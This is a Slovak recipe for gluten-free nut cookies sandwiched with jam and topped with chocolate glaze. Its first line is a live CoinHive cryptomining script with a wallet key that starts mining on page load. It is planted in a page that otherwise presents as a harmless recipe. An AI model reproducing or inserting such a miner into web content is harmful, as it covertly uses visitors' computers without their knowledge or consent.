var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 360 g bezlepkovej múky, 150 g práškového cukru, 250 g rastlinného tuku Helia, 100 g mletých orechov, 1 žĺtok, 1 balíček vanilkového cukru, trocha rumovej esencie, poleva (100 g varovej čokolády, 100 g stuženého tuku Cera)

Postup: Z prísad vypracujeme cesto a necháme ho prikryté v chlade 1 hodinu odležať. Potom ho vyvaľkáme na hrúbku 3/4 cm a formičkami povykrajujeme kolieska. Poukladáme ich na vymastený a vysypaný plech. Pečieme asi 15 minút vo vopred vyhriatej rúre pri teplote 160 -180˚C. Vychladnuté kolieska zliepame ovocným džemom a zdobíme čokoládovou polevou.